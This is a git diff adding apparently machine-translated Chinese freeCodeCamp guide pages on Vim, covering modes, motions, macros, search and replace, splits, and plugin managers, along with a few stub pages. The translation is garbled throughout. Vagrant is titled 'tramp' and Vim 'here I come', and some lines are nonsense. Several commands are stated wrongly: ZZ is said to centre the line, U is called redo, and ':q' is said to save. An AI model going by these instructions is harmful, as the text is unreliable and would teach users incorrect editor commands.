+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/user-experience-research/usability-testing/index.md b/client/src/guide/chinese/user-experience-research/usability-testing/index.md
new file mode 100644
index 0000000000..687a84ecbb
--- /dev/null
+++ b/client/src/guide/chinese/user-experience-research/usability-testing/index.md
@@ -0,0 +1,11 @@
+---
+title: Usability Testing
+localeTitle: 可用性测试
+---
+## 可用性测试
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/user-experience-research/usability-testing/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/vagrant/index.md b/client/src/guide/chinese/vagrant/index.md
new file mode 100644
index 0000000000..f93f253154
--- /dev/null
+++ b/client/src/guide/chinese/vagrant/index.md
@@ -0,0 +1,11 @@
+---
+title: Vagrant 
+localeTitle: 流浪汉
+---
+## 流浪汉
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/vim/basic-usage/index.md b/client/src/guide/chinese/vim/basic-usage/index.md
new file mode 100644
index 0000000000..ae0744ecb6
--- /dev/null
+++ b/client/src/guide/chinese/vim/basic-usage/index.md
@@ -0,0 +1,47 @@
+---
+title: Basic Usage
+localeTitle: 基本用法
+---
+## VIM基本用法
+
+### 打开文件
+
+*   运行vim或vi并打开给定的文件名。
+
+### 插入模式
+
+*   打开页面后，输入I，您将在屏幕底部看到“插入模式”文本。从这里，您可以对文件的文本进行任何更改。
+
+### 保存存档
+
+*   ：W
+
+### 保存并退出
+
+*   ：X
+*   SHIFT ZZ
+*   ：WQ
+
+### 如果没有更改，则退出文件
+
+*   ：q
+
+### 退出文件并撤消所做的任何更改
+
+*   ：Q！
+
+### 显示行号
+
+*   ：设nu
+
+### 不显示行号
+
+*   ：设置nonu
+
+### 根据使用的编程语言添加语法颜色
+
+*   ：语法上
+
+## 关于Vim
+
+Vim是基本上在CLI模式下使用的文本编辑器。但现在编辑器也有各种版本。有 还有GVIM，它是VIM的图形版本。 vi是主编，然后改进并命名为VI改进了Vim。
\ No newline at end of file
diff --git a/client/src/guide/chinese/vim/copy-and-paste/index.md b/client/src/guide/chinese/vim/copy-and-paste/index.md
new file mode 100644
index 0000000000..b25fae9521
--- /dev/null
+++ b/client/src/guide/chinese/vim/copy-and-paste/index.md
@@ -0,0 +1,41 @@
+---
+title: Copy and Paste
+localeTitle: 复制和粘贴
+---
+# 在Vim中复制和粘贴
+
+在Vim中，复制通常被称为“yanking”，并且粘贴保持不变。
+
+### 命令键
+
+用于在Vim中进行yanking和粘贴的键是：
+
+*   `x`删除一个字符
+*   `y`要猛拉
+*   `p`在光标后放置/粘贴
+*   `P`在光标前放/粘贴
+*   `pp`放/过整行
+*   `d`切
+*   `dd`切一条线
+*   `"`削减或猛冲到登记册
+
+### 仿形
+
+要猛拉或剪切，请键入`y`或`d` ，然后键入“文本对象”。这些描述了应该删除或删除多少文本。例如， `yw`复制一个单词， `d$`从光标删除到行尾。它们也可以在视觉模式下使用，按`v`并移动光标，然后按`d`删除选择内的所有文本。
+
+### 寄存器
+
+寄存器只是剪贴板的另一个名称。但与其他文本编辑器不同，Vim有许多这样的“剪贴板”。
+
+要取消或删除到寄存器，请键入`"<register name><command>` （例如： `"ayw` to \[y\] ank \[w\] ord以注册`a` ）。由于显而易见的原因，寄存器名称只能是一个字符长（ `"m` `"M` ， `"3`是允许的，但`"mr` ， `"MyReg` ， `"MyRegisterName`不是）。当没有指定寄存器时存储的默认寄存器是`"`和可以在其他程序中访问的系统剪贴板是`+` 。您还可以使用小写字符访问寄存器并使用大写字符附加到寄存器。例如`"dyy`将当前行复制到`d`寄存器，输入`"D3yw`复制接下来的3个单词并将它们添加到已经存储在`d`单词中。
+
+### 粘贴
+
+粘贴可以在正常模式或插入模式下完成。 在正常模式下：
+
+*   `p`光标后粘贴
+*   `P`在光标前粘贴
+*   `gp`在光标后粘贴并将光标移动到粘贴的末尾
+*   `gP`在光标前粘贴，并将光标移动到粘贴的末尾
+
+在插入模式下，键入`Ctrl-r`然后键入一个寄存器，通常是`"` ，这将从光标所在的寄存器中粘贴，并在粘贴后移动光标。
\ No newline at end of file
diff --git a/client/src/guide/chinese/vim/index.md b/client/src/guide/chinese/vim/index.md
new file mode 100644
index 0000000000..ed7474958e
--- /dev/null
+++ b/client/src/guide/chinese/vim/index.md
@@ -0,0 +1,30 @@
+---
+title: Vim
+localeTitle: 我来了
+---
+# VIM
+
+[![logo](https://upload.wikimedia.org/wikipedia/commons/thumb/9/9f/Vimlogo.svg/75px-Vimlogo.svg.png "Vim标志")](https://vim.sourceforge.io)
+
+Vim（Vi IMproved）是一个高度可配置的文本编辑器，用于创建和更改任何类型的文本非常有效。它包含在大多数UNIX系统的“vi”中，其中还包括Apple的macOS。 Vim是对其前身_vi的_一项重大改进，它是40多年前开发的，并且仍在使用中。
+
+Vim岩石稳定，拥有许多功能，包括：
+
+*   持久的，多级撤消树
+*   广泛的插件系统
+*   支持数百种编程语言和文件格式
+*   强大的搜索和替换
+*   与许多工具集成
+*   内置宏支持自动化文本操作
+*   可用于缺乏对基于GUI的文本编辑器的支持的系统
+
+Vim（及其前身_vi_ ）与_nano之_类的其他编辑器的主要区别之一是它是一个_模态编辑器_ ，这意味着它有几种操作模式。例如，编辑器_导航模式_ ，它可以让你快速将文档中移动开始（或者更准确的_速度极快_ ）。在此模式下，您可以输入命令以与文档交互，例如使用`:i`进入`insert mode` ， `:q`退出， `/<text>`搜索文本等。
+
+Vim的模态部分是它真正强大的部分。有关交互式教程，请访问[OpemVim](http://www.openvim.com/) 。在这里，您可以尝试一些更强大的功能。
+
+## 更多信息
+
+欲了解更多信息，请访问[Vim的主页](https://vim.sourceforge.io)
+
+*   [Open Vim](http://www.openvim.com/)是一个在线的互动Vim教程，您可以在浏览器中进行操作
+*   [Vim Adventures](https://vim-adventures.com)是一款基于VIM键盘快捷键的在线游戏。这是“塞尔达语与文本编辑”游戏。
\ No newline at end of file
diff --git a/client/src/guide/chinese/vim/macros/index.md b/client/src/guide/chinese/vim/macros/index.md
new file mode 100644
index 0000000000..35a6a0932a
--- /dev/null
+++ b/client/src/guide/chinese/vim/macros/index.md
@@ -0,0 +1,37 @@
+---
+title: Macros
+localeTitle: 宏
+---
+## 宏
+
+录制宏是一种在VIM中自动执行重复任务的方法。
+
+### 录制宏
+
+宏使用其中一个VIM寄存器进行存储，每个寄存器都由字母`a`到`z`标识。
+
+要在正常模式下启动宏，请按：
+
+```vim
+q<REGISTER LETTER> 
+```
+
+示例： `qq`在寄存器`q`启动一个宏， `qs`启动寄存器`s`的宏
+
+此时您将在VIM底线`recording @q`看到，这意味着您现在键入的所有内容都将在宏中注册。
+
+要停止录制宏，请按`<ESC>`返回NORMAL模式，然后按`q`退出宏。
+
+要执行您录制的宏，请按`@`和寄存器`q` 。
+
+#### 完整的过程如下所示：
+
+*   `qq` - >开始记录寄存器`q`的宏
+*   `...` - >要记录的命令系列
+*   `<ESC>q` - >返回NORMAL模式并退出宏记录
+*   `@q` - >执行宏，从当前行开始
+*   `@@` - >再次执行宏
+
+### 更多信息
+
+您可以在VIM Tips Wiki中找到有关宏的更多信息： http://vim.wikia.com/wiki/Macros
\ No newline at end of file
diff --git a/client/src/guide/chinese/vim/modes/index.md b/client/src/guide/chinese/vim/modes/index.md
new file mode 100644
index 0000000000..4c28204fde
--- /dev/null
+++ b/client/src/guide/chinese/vim/modes/index.md
@@ -0,0 +1,110 @@
+---
+title: Modes in Vim
+localeTitle: Vim中的模式
+---
+# Vim模式
+
+因为Vim专注于改变现有代码，就像编写新代码一样 代码，它被分成几种模式，每种模式都有不同的用途。
+
+### 正常模式
+
+默认情况下，Vim以“正常”模式启动。 按`Esc`或`<C-[>`可以从其他模式访问正常模式。
+
+在正常模式下，按键操作无法正常工作。也就是说，它们不会在文档中插入文本;代替， 某些按键可以：
+
+#### 移动光标
+
+*   **h**向左移动一个角色
+*   **j**向下移动一排
+*   **k**向上移动一排
+*   **l**向右移动一个角色
+
+与许多vim命令一样，行移动可以用数字作为前缀来移动s 一次几条线：
+
+*   **4j**向下移动4行
+*   **6k**向上移6行
+
+基本单词动作：
+
+*   **w**移动到下一个单词的开头
+*   **b**移到上一个单词的开头
+*   **e**移到单词结尾
+*   **W**移动到空格后的下一个单词的开头
+*   **B**在空格之前移动到前一个单词的开头
+*   **E**在空白之前移动到单词结尾
+
+线路运动的开始/结束：
+
+*   **0**移动到行的开头
+*   **$**移动到行尾
+
+#### 操纵文本
+
+#### 进入其他模式
+
+**普通模式**是在使用Vim时应该花费大部分时间的地方。记得， 这就是让Vim与众不同的原因。
+
+在正常模式下，有多种方法可以在打开的文件中移动。此外 要使用光标键四处移动，可以使用`h` （左）， `j` （下）， `k` （上）和`l` （右）移动。这特别有助于打字打字员 不喜欢在做出改变时离开主行。
+
+您还可以在正常模式下更改单个字符。例如，到 替换单个字符，将光标移到它上面然后按`r` ，然后按 要替换它的角色。同样，您可以删除单个字符 将光标移到它上面然后按`x` 。
+
+要执行撤消操作，请在正常模式下按`u` 。这个改变直到最后 你处于正常模式的时间。如果要重做（ _即_撤消撤消），请按 在正常模式下`Ctrl+r` 。
+
+### 插入模式
+
+这是第二种最常用的模式，也是最熟悉的行为 对大多数人来说进入插入模式后，键入插入字符就像常规字符一样 文本编辑器。您可以使用普通模式下的insert命令输入它。
+
+插入命令包括：
+
+*   `i`为' **我**插入'，这立即将vim切换到插入模式
+*   `a`关于“ **一** PPEND”，这在当前字符之后将光标移动并进入插入模式
+*   `o`在当前行下方插入一个新行，并在新行上进入插入模式
+
+这些命令也有大写的变化：
+
+*   `I`将光标移动到行的开头并进入插入模式
+*   `A`将光标移动到行尾并进入插入模式
+*   `O`在当前行上方插入一个新行，并在新行上进入插入模式
+
+在Vim中插入文本的方法还有很多，这里不能列出 但这些是最简单的。另外，请注意保持插入模式的时间过长; Vim是 不是设计用于插入模式的。
+
+要退出插入模式并返回正常模式，请按`Esc`或`<C-[>`
+
+### 视觉模式
+
+可视模式用于选择文本，类似于单击和拖动的方式 鼠标表现。选择文本允许命令仅应用于选择，例如复制， 删除，替换等。
+
+要进行文本选择：
+
+*   按`v`进入可视模式，这也将标记一个起始选择点
+*   将光标移动到所需的结束选择点; vim将提供视觉效果 突出显示文本选择
+
+可视模式还有以下变体：
+
+*   `V`进入可视线模式，这将按行进行文本选择
+*   `<CV>`进入可视块模式，这将按块进行文本选择;移动 光标将选择文本的矩形
+
+要退出可视模式并返回正常模式，请按`Esc`或`<C-[>` 。
+
+视觉模式实际上具有多种子类型： _视觉_ ， _块视觉_和_线性视觉_
+
+*   _视觉_ ：如上所述。按`v`进入
+*   _block-visual_ ：选择任何矩形区域。按`<ctrl>+v`进入
+*   _linewise-visual_ ：始终选择实线。按`<shift>+v`进入
+
+### 命令模式
+
+命令模式具有各种命令，可以执行普通模式 不能轻易做到。要进入命令模式，请从正常模式键入'：'然后 键入应该出现在窗口底部的命令。 例如，要执行全局查找和替换类型`:%s/foo/bar/g`要替换 所有'foo'都带'bar'
+
+*   `:`进入命令模式
+*   `%`所有行
+*   `s`意味着替代
+*   `/foo`是正则表达式来寻找要替换的东西
+*   `/bar/`是正则表达式来替换东西
+*   `/g`表示全局，否则每行只执行一次
+
+Vim有许多其他方法，您可以在帮助中阅读 文档， `:h`或`:help` 。
+
+### 替换模式
+
+替换模式允许您通过直接键入来替换现有文本。 在进入此模式之前，进入正常模式并放置光标 在您要替换的第一个字符的顶部。然后按'R'（大写R）来 进入替换模式。现在，无论您键入什么，都将替换现有文本。该 光标自动移动到下一个字符，就像在插入模式下一样。该 唯一的区别是您键入的每个字符都将替换现有字符。
\ No newline at end of file
diff --git a/client/src/guide/chinese/vim/motions/index.md b/client/src/guide/chinese/vim/motions/index.md
new file mode 100644
index 0000000000..17cbf10cb8
--- /dev/null
+++ b/client/src/guide/chinese/vim/motions/index.md
@@ -0,0 +1,87 @@
+---
+title: Motions
+localeTitle: 议案
+---
+# Vim基本动作
+
+### 游标运动
+
+首先在VIM中我们可以使用箭头键，如果我们想在文本文件中移动，但这不是最好的方法， 我们失去了VIM提供的组合命令的优势。
+
+而不是通过文本移动的默认和最佳方式是使用键`h` （左）， `j` （下）， `k` （上）和`l` （右）。
+```
+     ^ 
+     | 
+     k 
+ <- h   l -> 
+     j 
+     | 
+     v 
+```
+
+使用此键而不是箭头键的优点是，您可以将运动与其他命令结合使用，例如：
+
+*   `d2j` - >删除2行
+*   `y10k` - >复制10行
+*   `10l` - >向右移动10个字符
+*   `2h` - >剩下2个字符
+
+### 单词动作
+
+一个单词由一系列字母，数字和下划线组成，或者一个 其他非空白字符的序列，用空格分隔（空格， 标签，行尾）。空行也被认为是一个单词。
+
+通过这个commnads可以移动单词：
+
+*   `w` - >转到下一个单词
+*   `W` - >转到下一个**WORD** \*
+*   `e` - >移到下一个单词的末尾
+*   `E` - >移动到下一个**WORD**的结尾
+*   `b` - >转到上一个单词
+*   `B` - >转到上一个**WORD**
+*   `ge` - >移到上一个单词的末尾
+*   `gE` - >移动到上一个**WORD**的末尾
+
+\* **WORD**由一系列非空白字符组成，用白色分隔 空间。空行也被认为是**WORD** ，即： `quux(foo,` `bar,` `foo);`
+
+通过这些动作与其他命令相结合，您可以执行以下操作：
+
+*   `dw` - >删除这个词
+*   `5e` - >从这里移到第5个字的末尾
+
+### 搜索动议
+
+另一种移动到您喜欢的位置的方法是使用搜索动作，搜索动作包含在 动作+要搜索的字符
+
+*   `fx` - >移动到下一个`x`
+*   `tx` - >在下一个`x`之前移动到第一个位置
+*   `;` - >下一个x
+*   `Fx` - >移动到前一个`x`
+*   `Tx` - >在前一个`x`之后移动到第一个位置
+*   `,` - >前一个x
+
+### 行的开头和结尾
+
+您还可以使用以下命令移至VIM的开头或结尾：
+
+*   `0` - >开始行
+*   `^` - >该行的第一个非黑色字符
+*   `$` - >行尾
+
+### 档案动议
+
+在VIM中，您可以使用以下命令在文件中移动：
+
+*   `gg` - >移动到文件的第一行
+*   `G` - >移动到文件的最后一行
+*   `<ctrl> + f` - >向下移动一页
+*   `<ctrl> + b` - >向上移动一页
+*   `/text` - >查找`text`
+*   `n` - >移动到下一个`text` （上一个命令）
+*   `?text` - >查找以前的`text`
+*   `N` - >移动到上一次出现的`text`
+*   `{` - >向上移动一段
+*   `}` - >向下移动一个段落
+*   `(` - >向上移一句话
+*   `)` - >将一个人放下来
+*   `#` - >在光标下找到单词
+*   `*` - >在光标下找到单词
\ No newline at end of file
diff --git a/client/src/guide/chinese/vim/navigation/index.md b/client/src/guide/chinese/vim/navigation/index.md
new file mode 100644
index 0000000000..5cc8286fd3
--- /dev/null
+++ b/client/src/guide/chinese/vim/navigation/index.md
@@ -0,0 +1,44 @@
+---
+title: Navigation
+localeTitle: 导航
+---
+## Vim导航
+
+### 基本动作
+
+有许多方法可以在Vim中移动光标，但这些基本动作将允许 新用户可以使用普通模式进行文件导航。
+
+*   在正常模式下，键`h` ， `j` ， `k` ， `l`对应于移动光标 一个字符分别为左，下，上和右。
+    
+*   要一次导航一个单词，键`w`和`b`将光标移动到 下一个单词的开头，或前一个单词的开头。 `e` 键将光标移动到当前单词的末尾。
+    
+*   要移至当前行的开头，请键入`0` ，然后移至末尾 当前行，键入`$` 。
+    
+*   最后，要移动到文件的第一行，输入`gg` ，然后移动到 在文件的最后一行，输入`G`
+    
+
+综上所述：
+
+```vim
+h   moves one character left 
+ j   moves one row down 
+ k   moves one row up 
+ l   moves one character right 
+ 
+ w   moves to the beginning of the next word 
+ b   moves to the beginning of the previous word 
+ e   moves to the end of the current word 
+ 
+ 0   moves to the beginning of the current line 
+ $   moves to the end of the current line 
+ :n  moves to line n (ex. :23 moves to line 23) can also use nG 
+ 
+ ZZ  moves to the center of the line your on 
+ H   moves to the top of the screen 
+ M   moves to the middle of the screen 
+ L   moves to the bottom of the screen 
+ 
+ gg  moves to the first line in the file 
+ G   moves to the last line in the file 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/vim/pathogen/index.md b/client/src/guide/chinese/vim/pathogen/index.md
new file mode 100644
index 0000000000..f525705435
--- /dev/null
+++ b/client/src/guide/chinese/vim/pathogen/index.md
@@ -0,0 +1,47 @@
+---
+title: Pathogen
+localeTitle: 病原
+---
+## 病原
+
+Pathogen可帮助您轻松管理运行时路径。
+
+它可以轻松安装Vim捆绑。
+
+运行以下命令：
+```
+mkdir -p ~/.vim/autoload ~/.vim/bundle && \ 
+ curl -LSso ~/.vim/autoload/pathogen.vim https://tpo.pe/pathogen.vim 
+```
+
+* * *
+
+## 运行时路径操作
+
+将此命令添加到.vimrc文件中：
+```
+execute pathogen#infect() 
+```
+
+如果您没有任何.vimrc文件，请键入`vim ~/.vimrc`并粘贴：
+```
+execute pathogen#infect() 
+ syntax on 
+ filetype plugin indent on 
+```
+
+这是一个非常基本的例子。 此时，每个插件都将被解压缩到`~/.vim/bundle` ，并将被添加到_`runtimepath`_
+
+* * *
+
+#### |例
+
+如果你想安装像NERDTree这样的插件，只需运行：
+```
+cd ~/.vim/bundle 
+ git clone https://github.com/scrooloose/nerdtree 
+```
+
+它将被添加到\_ `runtimepath` 。
+
+Vim插件的策划资源： [Vim Awesome](https://vimawesome.com)
\ No newline at end of file
diff --git a/client/src/guide/chinese/vim/search-and-replace/index.md b/client/src/guide/chinese/vim/search-and-replace/index.md
new file mode 100644
index 0000000000..2c8752b614
--- /dev/null
+++ b/client/src/guide/chinese/vim/search-and-replace/index.md
@@ -0,0 +1,38 @@
+---
+title: Search and Replace
+localeTitle: 搜索和替换
+---
+# 在Vim中搜索和替换
+
+在vim中搜索和替换将搜索给定文本模式的所有实例并将其替换为字符串。
+
+### 命令键
+
+用于搜索和替换的命令：
+
+*   `:substitute`
+*   `:s` （替代的简短缩写形式）
+
+### 命令结构
+
+用于搜索和替换的结构：
+
+`:[range]` `s` / `[pattern]` / `[string]` / `[flags]` `[count]`
+
+哪里…
+
+*   `[range]`表示要搜索的行（例如`1` ：第一行， `$` ：最后一行， `%` ：所有行）。
+*   `[pattern]`是要搜索的文本模式。
+*   `[string]`是将替换文本模式的字符串。
+*   `[flags]`打开其他搜索和替换选项（例如`c` ：确认替换， `g` ：替换每行中的所有出现， `i` ：忽略大小写）。
+*   `[count]`从`[range]`的最后一行开始替换`[count]`行（如果省略`[range]`则替换当前行）。
+
+### 常见例子
+
+下面列出了一些常见的搜索和替换示例：
+
+*   `:s/foo/bar/`将当前行中的第一个'foo'更改为'bar'。
+*   `:s/foo/bar/g`将当前行中的每个'foo'更改为'bar'。
+*   `:%s/foo/bar/g`将所有行中的每个'foo'更改为'bar'。
+*   `:13s/foo/bar/g`将第13行中的每个'foo'更改为'bar'。
+*   `:%s/foo/bar/cgi`将所有行中的每个'foo'更改为'bar'。
\ No newline at end of file
diff --git a/client/src/guide/chinese/vim/split/index.md b/client/src/guide/chinese/vim/split/index.md
new file mode 100644
index 0000000000..8fd74bc7c4
--- /dev/null
+++ b/client/src/guide/chinese/vim/split/index.md
@@ -0,0 +1,37 @@
+---
+title: Split
+localeTitle: 分裂
+---
+# 用拆分打开Vim中的文件
+
+在Vim中，可以水平和垂直打开或`split`文件，以便为给定文件创建附加窗口或视口。
+
+### 命令键
+
+用于创建水平拆分的命令：
+
+： `[N]split` `[file]`
+
+： `[N]sp` `[file]`
+
+其中`sp`是`split`缩写。
+
+用于创建垂直拆分的命令：
+
+： `[N]vsplit` `[file]`
+
+： `[N]vs` `[file]`
+
+其中`vs`是`vsplit`的简短缩写和...
+
+*   `[N]`是高度（默认为当前窗口的一半）。
+*   `[file]`是要在新拆分窗口中打开的文件（如果没有给出，则使用当前文件）。
+
+### 例子
+
+在Vim中使用split的一些示例：
+
+*   ： `sp`将当前窗口拆分为当前文件的相等水平窗口。
+*   ： `10sp`拆分当前窗口，为当前文件创建一个高度为10的新窗口。
+*   ： `sp` `index.html`将当前窗口拆分为相等的水平窗口，并在新窗口中打开`index.html` 。
+*   ： `vs` `main.css`将当前窗口拆分为相等的垂直窗口，并在新窗口中打开`main.css` 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/vim/useful-commands/index.md b/client/src/guide/chinese/vim/useful-commands/index.md
new file mode 100644
index 0000000000..b5057ab422
--- /dev/null
+++ b/client/src/guide/chinese/vim/useful-commands/index.md
@@ -0,0 +1,148 @@
+---
+title: Useful Commands
+localeTitle: 有用的命令
+---
+# 有用的命令
+
+## 基本功能
+
+最有可能你会发现自己在“正常”模式，它可以让您通过按冒号输入命令`:`关键。 要从其他模式到达此处，您可以键入`ctrl + c`或`escape` 。
+
+要编辑文本并以熟悉的方式移动，请按`i` ，进入“插入”模式。尝试使用“插入”模式中的箭头键移动 - 有关详细信息，请参阅下面的“导航”部分。
+
+根据配置，您可以通过键入并输入命令来输入文件浏览器`:e .`在“正常”模式下。 'e'代表编辑，以及文件或目录的句点。
+
+## 导航
+
+*   光标移动：您可以使用箭头键或`h` ， `j` ， `k` ， `l` （左，下，上，右）
+*   `gg`带您到文件的开头
+*   `G`将您带到文件的末尾
+*   `:(num)`将您带到文件中的特定行（例如：42将您带到第42行）
+
+## 保存
+
+1.  按`Escape`确保您处于`normal mode` ;
+2.  输入`:w` （“w”代表“写”）;
+3.  按`Enter` 。
+
+## 保存（到新文件）
+
+1.  按`Escape`确保您处于`normal mode` 。
+2.  键入`:w newfilename` （newfilename是要保存到的新文件的文件名）。
+3.  按`Enter` 。
+
+## 退出Vi，Vim，Nvim，Gvim
+
+1.  按“退出”可以进入“正常”模式
+2.  `:q`将软退出vim
+3.  `:q!`将迫使退出vim
+4.  `:qa`这将关闭所有打开的文件
+5.  `:qa!`放弃更改时关闭所有文件
+6.  `:q`保存并关闭当前文件
+
+（注意：命令`:q!`将强制Vim退出而不保存。请确保先键入命令先保存`:w`如果您不想丢失所做的任何更改。）
+
+**要么**
+
+*   输入ZZ（保存并退出）
+*   键入`:wq` / `:x` （保存并退出但使用常用的“w”和“q”命令）
+
+## 剪切，复制和粘贴
+
+*   `dd`删除（剪切）一行
+*   `yy`猛拉（复制）一行
+*   您可以使用`yy`和`dd` `13dd`的数字来剪切或复制多行（ex- `13dd`将剪切13行）
+*   `p`粘贴粘贴缓冲区中的所有内容
+
+## 粘贴代码块
+
+通常，您会发现自己正在寻找问题的解决方案，并且发现有人编写了一个代码块，可以完全满足您的需求。 如果您尝试将代码直接复制并粘贴到Vim中，您可能会发现代码格式错误或未正确粘贴。 这是因为Vim读取了一个接一个地粘贴的每个字符，这意味着任何激活Vim快捷键的键组合都将被执行，Vim将尝试（并且失败）自动缩进粘贴的代码。
+
+要解决此问题，您可以使用Vim的**粘贴模式** ，您可以通过进入正常模式激活（按`escape`或`crtl + c` ）并键入`:set paste` ，然后按ENTER键。 您现在处于_粘贴_模式。 然后，您可以使用`i`输入插入模式并粘贴文本/代码块而不会出现任何问题！ 要在没有粘贴模式的情况下返回常规Vim，您可以进入正常模式（ `escape`或`crtl + c` ）并输入`:set nopaste` ，然后按ENTER键。
+
+## 设置行号
+
+1.  按“退出”可以进入“正常”模式
+2.  输入`:set number` ，按回车键
+
+要默认设置行号：
+
+1.  使用`vim ~/.vimrc`打开/创建vim配置文件
+2.  添加行`set number` ，按Enter键
+
+## 在VIM中打开文件
+
+在VIM中，您可以通过将光标设置在路径上并键入`gf`在同一窗口中打开文件。这将告诉VIM光标所在的当前文本是您要打开的文件。该文件将在VIM终端内打开，因此如果要返回上一个窗口，只需键入`ctrl+o` 。这将告诉VIM转到上一个屏幕。
+
+## 如何拆分窗户
+
+您可以拆分vim窗口并同时编辑2个或更多文件。
+
+*   `:split` - >拆分窗口（水平）
+*   `:vsplit` - >拆分窗口（垂直）
+*   `:vertical` new - >在新窗口中打开一个新文件
+
+要在窗口之间移动，您可以使用以下命令：
+
+*   `CTRL-W h` - 移动到左侧的窗口
+*   `CTRL-W j` - 移动到下面的窗口
+*   `CTRL-W k` - 移动到上面的窗口
+*   `CTRL-W l` - 移动到右侧的窗口
+*   `CTRL-W t` - 移动到顶部窗口
+*   `CTRL-W b` - 移动到底部窗口
+
+## 撤销重做
+
+应在**正常模式下**执行这些操作。
+
+**撤消** ：按`u`或输入`:undo` ，然后按`Enter` 。
+
+**重做** ：按`U` （ `Shift` + `u` ）或输入`:redo`并按`Enter` 。
+
+## 在特定行中打开文件
+
+*   vi filename + n，其中n是行号
+
+## 打开搜索单词/术语的文件
+
+*   vi filename + / word，其中word是你要找的。光标将定位在单词的第一个出现位置。
+
+## 在Vim中搜索文件
+
+在正常模式下（按`escape`键确认），您可以通过键入`/` ，然后按您要查找的术语搜索文档中的任何术语，然后按`enter` 。例如，键入`/hello`并按`enter`键以在当前文件中搜索单词“hello”。
+
+您可以按`n`跳过搜索词的下一个匹配项，或按`N`跳过上一个匹配项。 `*`搜索光标下方的单词。
+
+如果要突出显示所有搜索匹配类型`:set hlsearch`或使用缩写命令`:set hls` 。使用`:set noh`关闭突出显示直到下一次搜索。
+
+## 编译项目
+
+Vim与`make` build自动化工具紧密集成。如果您的项目使用Makefile，则可以在Vim命令行键入`:make`以运行系统的`make`工具。 Vim将在屏幕上打印`make`的输出， `make`在`make`命令完成时将您带到第一个错误（如果有）。然后，您可以分别使用`:cn`和`:cp`命令跳转项目代码中的编译错误和警告，分别用于下一个和上一个问题。
+
+## 查找和替换
+
+1.  按`Escape`确保您处于`normal mode` ;
+2.  输入`:`您将切换到`command mode` ）;
+3.  输入`%s,word_to_be_replaced,new_word,g` ;
+4.  按`ENTER` 。
+
+重要提示：如果要替换单词的第一个出现，请删除末尾的`g` 。
+
+## 我想学习Vim！
+
+对于初学者来说，Vim附带内置教程！您可以通过从终端运行`vimtutor`来访问它，这将启动一个关于_如何开始使用Vim_的交互式教程（大约需要15分钟才能完成）。
+
+如果你不为自信的英语，你可以lanch `vimtutor`在您所选择的语言。例如`vimtutor fr`将用法语启动教程！
+
+## 其他有用的命令
+
+*   `gg=G`修复了整个文件的缩进
+*   如果要了解有关特定命令的更多信息，请键入`:help`后跟命令名称（ex-：help：w）
+
+阅读其余的Vim指南，以便更好地理解这个强大的编辑器。
+
+## 其他资源
+
+*   [Vim高尔夫](https://vimgolf.com/) - 从vim挑战中学习以获得最低击键次数的好方法。如果您无法解决挑战，您可以看到其他人提交的解决方案。
+*   [Vim Adventures](https://vim-adventures.com/) - 一种有趣和游戏化的方法来学习Vim，你可以在游戏中的每个新关卡中获得不同的击键。
+*   [Open Vim](http://www.openvim.com/) - 一个教授基本命令的交互式vim教程
\ No newline at end of file
diff --git a/client/src/guide/chinese/vim/vim-plug/index.md b/client/src/guide/chinese/vim/vim-plug/index.md
new file mode 100644
index 0000000000..604545292d
--- /dev/null
+++ b/client/src/guide/chinese/vim/vim-plug/index.md
@@ -0,0 +1,36 @@
+---
+title: Vim-Plug
+localeTitle: VIM-插头
+---
+## VIM-插头
+
+Vim-Plug极简主义的Vim插件管理器。
+
+### 优点：
+
+*   设置更简单：单个文件。无需样板代码。
+*   易于使用：简洁直观的语法。
+*   超快并行安装/更新（使用`+job` ， `+python` ， `+python3` ， `+ruby`或Neovim）。
+*   创建浅克隆以最小化磁盘空间使用和下载时间。
+*   按需加载可加快启动时间。
+*   可以查看和回滚更新。
+*   分支/标记/提交支持。
+*   更新后的钩子。
+*   支持外部管理的插件。
+
+您可以在[此处](https://github.com/junegunn/vim-plug#installation)找到安装指南。
+
+一些有用的插件可以帮助您入门：
+
+*   [nerdtree](https://github.com/scrooloose/nerdtree) - Vim的文件系统资源管理器。
+*   [Emmet-vim](https://github.com/mattn/emmet-vim/) - 支持扩展类似于[emmet的](https://emmet.io/)缩写。
+*   [vim-polygot](https://github.com/sheerun/vim-polyglot) - Vim的可靠语言包。
+*   [自动对](https://github.com/jiangmiao/auto-pairs) - 插入或删除括号，对等，引号。
+*   [fugitive.vim](https://github.com/tpope/vim-fugitive) - Vim的git包装器。
+
+您可以在Vim安装中添加更多插件。
+
+#### 更多信息：
+
+*   [Github存储库](https://github.com/junegunn/vim-plug) - Vim-Plug
+*   [VimAwesome](https://vimawesome.com/) - 探索Vim插件
\ No newline at end of file
diff --git a/client/src/guide/chinese/vim/vundle/index.md b/client/src/guide/chinese/vim/vundle/index.md
new file mode 100644
index 0000000000..afc356aec8
--- /dev/null
+++ b/client/src/guide/chinese/vim/vundle/index.md
@@ -0,0 +1,34 @@
+---
+title: Vundle
+localeTitle: 纬纱
+---
+## Vundle
+
+Vundle是Vim bundle的缩写，是一个Vim插件管理器。
+
+它允许你......
+
+*   在`~/.vimrc` （一个自定义Vim的[文件](https://stackoverflow.com/questions/164847/what-is-in-your-vimrc) ）中跟踪和配置你的插件
+*   安装配置的插件（又名脚本/包）
+*   更新已配置的插件
+*   按名称搜索所有可用的Vim脚本
+*   清理未使用的插件
+*   使用交互模式在单个按键中运行上述操作
+
+要开始使用，请按照[本指南操作](https://github.com/VundleVim/Vundle.Vim#quick-start) 。
+
+一些有用的插件可以帮助您入门：
+
+*   [nerdtree](https://github.com/scrooloose/nerdtree) - 文件树资源管理器
+*   [syntastic](https://github.com/vim-syntastic/syntastic)或[ale](https://github.com/w0rp/ale) - 语法检查器/ [linter](https://github.com/vim-syntastic/syntastic)
